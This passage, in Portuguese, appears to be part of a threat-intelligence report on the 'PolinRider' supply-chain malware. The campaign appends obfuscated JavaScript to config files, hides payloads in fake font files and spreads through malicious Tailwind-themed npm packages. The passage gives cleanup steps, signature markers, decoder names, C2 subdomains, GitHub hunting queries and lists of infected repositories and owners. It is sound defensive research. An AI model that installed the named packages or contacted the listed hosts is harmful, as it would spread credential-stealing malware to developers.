temp_auto_push.bat na raiz do repositório e por qualquer config.bat referenciado no .gitignore. Mesmo que o payload JS ofuscado tenha sido limpo, este arquivo é evidência direta de comprometimento passado e deve acionar uma rotação de credenciais.public/, static/, assets/ em busca de arquivos .woff / .woff2 inesperados — o malware foi observado escondendo payloads dentro de arquivos de fonte falsos (a subvariante "fake-font").package.json — particularmente quaisquer pacotes relacionados ao PostCSS/Tailwind adicionados ou atualizados recentemente, como tailwind-mainanimation, tailwind-autoanimation e os outros pacotes npm listados abaixo.node_modules em busca de scripts postinstall: grep -r "postinstall" node_modules/*/package.jsonCot%3t=shtP após uma limpeza anterior da variante rmcej%otb%. Re-escaneie periodicamente.| Arquivo | Ocorrências (8 de março) | Ocorrências (10 de abril) |
|---|
postcss.config.mjs | 416 | ~960 |
tailwind.config.js | 84 | ~210 |
eslint.config.mjs | 60 | ~150 |
postcss.config.js | 13 | ~40 |
App.js | 13 | ~30 |
next.config.mjs | 12 | ~30 |
index.js | 6 | ~25 |
astro.config.mjs | 6 | ~15 |
tailwind.config.mjs | 5 | ~12 |
vite.config.js / vite.config.mjs | — | ~20 |
webpack.config.js | — | ~15 |
gridsome.config.js | — | ~5 |
vue.config.js | — | ~10 |
truffle.js | — | ~5 |
temp_auto_push.bat (artefato do script de propagação) | — | 101 |
Arquivos .woff2 (subvariante fake-font) | — | observado |
| Pacote | Versão mais recente | Status | Publicador | Contagem de vítimas observadas (11 de abril) |
|---|
tailwindcss-style-animate | 1.1.6 | observado | (conta deletada) | 34 ← dep principal do ShoeVista |
tailwind-mainanimation | 2.3.3 → 0.0.1-security | REMOVIDO pelo npm (substituído por placeholder de segurança 2026-03-13) | allavin (conta deletada) | 1 |
tailwind-autoanimation | 2.3.6 | REMOVIDO do registro | blackedward (conta deletada) | 2 |
tailwind-animationbased | — | observado | (conta deletada) | 0 |
tailwindcss-typography-style | 0.8.2 | observado | (conta deletada) | 6 |
tailwindcss-style-modify | 0.8.3 | observado | (conta deletada) | 4 |
tailwindcss-animate-style | 1.2.5 | observado | (conta deletada) | 0 |
| Atributo | Variante original | Nova variante |
|---|
| Marcador de assinatura | rmcej%otb% | Cot%3t=shtP |
| Semente de embaralhamento (camada 1) | 2857687 | 1111436 |
| Semente secundária (camada 2) | 2667686 | 3896884 |
| Nome da função decodificadora | _$_1e42 | MDy |
| Globais injetados | global['!'], global['r'], global['m'] | global['_V'], global['r'], global['m'] |
| Tipos de arquivo alvo | postcss.config.mjs, tailwind.config.js, eslint.config.mjs, etc. | (mesmos) |
| Estilo de injeção | Anexado após export default / corpo do módulo legítimo | (mesmo) |
| C2 Blockchain | TRON / Aptos / BSC | (mesmo — endereços inalterados) |
| Chaves XOR | inalteradas | inalteradas |
alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (variante devhire)ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) ou após a plataforma de entrevista (Test-002, test-shoe, test_upwork, test_west_shoe)| Subdomain | Contagem (11 de Abr) | Primeira observação | Notas |
|---|
260120.vercel.app | 56 | pré-8 de Mar | Consulta OSM original Q11; também publicado no primeiro blog |
default-configuration.vercel.app | 106 | Abr 2026 | Maior cluster de subdomínio único encontrado até agora |
vscode-settings-bootstrap.vercel.app | 16 | Abr 2026 | |
vscode-settings-config.vercel.app | 11 | Abr 2026 | |
vscode-bootstrapper.vercel.app | 6 | Abr 2026 | |
vscode-load-config.vercel.app | 6 | Abr 2026 |
| Nome do arquivo pesquisado | Resultados |
|---|
postcss.config.mjs | 416 |
tailwind.config.js | 84 |
eslint.config.mjs | 60 |
App.js | 13 |
postcss.config.js | 13 |
next.config.mjs | 12 |
index.js | 6 |
astro.config.mjs | 6 |
| Outros arquivos de configuração | 81 |
| Total (pré-deduplicação) | 700 |
| Repositórios únicos | 675 |
| # | Pivô | Motor | Repositórios únicos contribuídos |
|---|
| 1 | filename:temp_auto_push.bat | GitHub Code Search | 101 |
| 2 | "_$_1e42" (com refinamento por extensão/tamanho/fork) | GitHub Code Search | 1.323 |
| 3 | "function MDy(f)" global _V | GitHub Code Search | 14 |
| 4 | LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat | GitHub Code Search | 236 |
| 5 | Cot%3t=shtP regex com fork:yes archived:yes | Sourcegraph | 41 |
| Rodada 1 combinada | 1.556 | ||
| 6 | "<malicious_npm_package>" filename:package.json (7 pacotes npm) | GitHub Code Search | 46 |
| 7 | <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) | GitHub Code Search | 145 |
| 8 | "default-configuration.vercel.app" e 4 subdomínios irmãos vscode-*.vercel.app | GitHub Code Search | 94 |
| 9 | "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (UUID do template StakingGame) | GitHub Code Search | 42 |
| 10 | Enumeração sequencial de '8-stN' 1–200 (verificando tags sequenciais não indexadas) | Sourcegraph regex | 0 novos |
| Rodada 2 combinada | +215 | ||
| Total únicos (ambas as rodadas + CSV existente) | 1.951 |
| Refinamento | total_count |
|---|
extension:js | 430 |
extension:mjs | 676 |
extension:cjs | 17 |
extension:ts | 7 |
extension:html | 1 |
size:<5000 | 4 |
size:5000..6000 | 630 |
size:6000..7000 | 125 |
size:7000..8000 | 139 |
size:8000..9000 | 56 |
size:9000..10000 | 36 |
size:10000..50000 | 112 |
size:>50000 | 12 |
fork:true | 157 (excluído por padrão!) |
| Fonte | Repositórios únicos | Proprietários únicos |
|---|
| Publicação original de 8 de março | 675 | 352 |
affected_repos.csv (atualização de 18 de março) | 769 | 399 |
| Caçada v3 de 10 de abril (5 pivôs) | 1.556 | 835 |
| Rodada 2 de 11 de abril (5 pivôs adicionais) | +215 novos líquidos | +158 novos líquidos |
| União (escopo real, 11 de abril) | 1.951 | 1.047 |
| Arquivo | Descrição |
|---|
README.md | Este relatório |
polinrider-rides-again.md | Postagem de acompanhamento (11 de abril) cobrindo o crescimento da campanha, a fusão TasksJacker / PolinRider e a engenharia reversa completa do payload de ponta a ponta |
affected_repos.csv | Repositórios afetados — organizações primeiro, depois usuários, cada um classificado por estrelas+forks decrescente. Nota: em 2026-04-11 este CSV contém 769 entradas da coleta de 18 de março. As caçadas de 10 a 11 de abril adicionaram ~1.180 novos repositórios que ainda não foram mesclados neste CSV (eles estão registrados em reports/polinrider-master-v3-1556.tsv e reports/polinrider-round2-repos.txt). O escopo verdadeiro conhecido é de 1.951 repositórios únicos. |
affected_users.csv | Proprietários afetados — organizações primeiro, depois usuários, cada um classificado por seguidores decrescente. Em 2026-04-11 contém 399 entradas; a união da caçada de abril é de 1.047 proprietários. |
reports/polinrider-master-v3-1556.tsv | Lista mestre da caçada de 10 de abril: repo \t osm_status \t threat_id \t severity \t sources para todos os 1.556 repositórios encontrados na caçada v3 |
reports/polinrider-new-v3.tsv | Os 705 repositórios recém-adicionados ao OSM em 2026-04-10 |
reports/polinrider-round2-repos.txt | Lista mestre limpa da rodada 2 (239 repositórios únicos dos 5 novos pivôs) |
reports/polinrider-round2-submissions-2026-04-11.tsv | Os 72 repositórios recém-adicionados ao OSM em 2026-04-11 (rodada 2) |
reports/polinrider-scope-v3-2026-04-10.md | Relatório de escopo completo da v3 incluindo metodologia de refinamento e análise de falsos positivos |
reports/polinrider-submissions-2026-04-10.md | Relatório de submissão em massa para os 704 relatórios de ameaça OSM arquivados em 2026-04-10 |
reports/polinrider-scope-v3-2026-04-10.md | Relatório de escopo v3 |
| Repositório | Estrelas | Forks | Arquivo Infectado |
|---|
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | 6 | 11 | postcss.config.mjs |
Victorola-coder/tewo | 9 | 6 | tailwind.config.js |
Kreliannn/Document-Request-System-FRONTEND | 8 | 1 | postcss.config.mjs |
Atik203/Scholar-Flow | 4 | 4 | postcss.config.mjs |
sparktechagency/Vap-shop-Front-End- | 7 | 0 | postcss.config.mjs |
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | 7 | 0 | postcss.config.mjs |
coderkhalide/Anti-Detect-Browser | 2 | 4 | tailwind.config.js |
tanushbhootra576/Bionary-Website-Challenge-and-final | 4 | 2 | tailwind.config.js |
tanushbhootra576/collegeConnect | 5 | 1 | postcss.config.mjs |
Kreliannn/commision_portfolio | 6 | 0 | postcss.config.mjs |
| Organização | Seguidores | Repositórios Afetados |
|---|
sparktechagency | 130 | 12 |
FSDTeam-SAA | 21 | 12 |
Softvence-Omega-Dev-Ninjas | 18 | 4 |
Codechef-VITC-Student-Chapter | 17 | 1 |
softvence-omega-future-stack | 11 | 4 |
The-Extra-Project | 11 | 1 |
etrainermis | 7 | 1 |
tricodenetwork | 7 | 1 |
Binary-Mindz | 6 | 1 |
Gamage-Recruiters-406 | 5 | 1 |
| Usuário | Seguidores | Repositórios Afetados |
|---|
coderkhalide | 349 | 4 |
finom | 172 | 4 |
Victorola-coder | 121 | 1 |
dhruvmalik007 | 87 | 6 |
saif72437 | 57 | 2 |
a-belard | 43 | 1 |
Muhammadfaizanjanjua109 | 39 | 1 |
Nathanim1919 | 38 | 5 |
kanchana404 | 33 | 3 |
AKDebug-UX | 30 | 4 |